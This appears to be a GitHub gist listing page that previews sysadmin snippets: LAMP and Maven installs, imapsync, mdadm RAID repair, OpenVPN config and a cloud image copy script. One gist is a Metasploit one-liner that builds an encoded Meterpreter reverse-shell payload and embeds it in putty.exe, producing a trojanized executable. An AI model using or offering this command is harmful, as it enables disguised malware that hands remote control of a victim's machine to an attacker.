- Markdown (its becoming ubiquitous)
- Basic system concepts
- What is an Operating System and what does it provide?
- Kernel vs user-land
- Basic networking concepts
- Stack (TCP/IP)
- Layers
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Install common | |
yum install -y git wget curl | |
# Install apache, php, mysql | |
yum install -y httpd mod_ssl mod_php | |
yum install -y php php-mysql php-pdo | |
yum install -y mysql mysql-server | |
# Addnl php req's | |
yum install -y php-gd php-mbstring |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
Export the pages from a Media Wiki instance into a directory for | |
import into a Github Wiki. | |
## Procedure | |
1) Set the database credentials in this file | |
2) Create the repository and wiki if not done already. Make sure | |
to specify the home page is marked down using the Media Wiki format. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/local/bin/bash | |
#Remember to set | |
#export MAIL_SYNC_SRC= | |
user1=$1 | |
user2=$2 | |
passwd_file=$3 | |
imapsync --host1 $MAIL_SYNC_SRC --user1 "$user1" --passfile1 "$passwd_file" --ssl1 --port1 993\ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
mdadm --manage /dev/md1 --fail /dev/sdd1 | |
mdadm --manage /dev/md1 --remove /dev/sdd1 | |
sfdisk -d /dev/sdc | sfdisk /dev/sdd | |
mdadm --manage /dev/md1 --add /dev/sdd1 | |
watch 'cat /proc/mdstat | grep -A 2 "md1"' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
yum install -y openvpn | |
Within /etc/sysctl.conf: | |
net.ipv4.ip_forward = 1 | |
net.ipv4.conf.default.rp_filter = 0 | |
Add to /etc/sysconfig/iptables: | |
-A INPUT -m conntrack --ctstate NEW -m udp -p udp --dport 1194 -j ACCEPT |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Daemon options | |
verb 3 | |
client | |
# Connection options | |
dev tun | |
remote <ip address> <port> | |
resolv-retry infinite | |
nobind | |
persist-key |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
./msfpayload windows/meterpreter/reverse_tcp LHOST=169.254.141.18 LPORT=4444 R | ./msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /tmp/putty.exe -o /tmp/puttyx.exe |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
yum install -y java-1.7.0-openjdk-devel | |
wget http://apache.spinellicreations.com/maven/maven-3/3.2.3/binaries/apache-maven-3.2.3-bin.tar.gz | |
sudo tar xzf apache-maven-3.2.3-bin.tar.gz -C /usr/local | |
cd /usr/local | |
sudo ln -s apache-maven-3.2.3 maven | |
cat <<VARS > /etc/profile.d/maven.sh | |
export M2_HOME=/usr/local/maven | |
export PATH=${M2_HOME}/bin:${PATH} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Author: Andrew Howard | |
# This script will copy an image from one region to another. | |
# BE AWARE: This will incur charges for the customer. These charges | |
# can be minimized by using ServiceNet for the download and by choosing | |
# to auto-delete the Cloud Files content once the transfer is complete. | |
# Even with these precautions, the customer will be charged for storage | |
# fees in Cloud Files (for a single month) and Cloud Images (destination). | |
# Note: To use ServiceNet, this script MUST be run on a Cloud Server |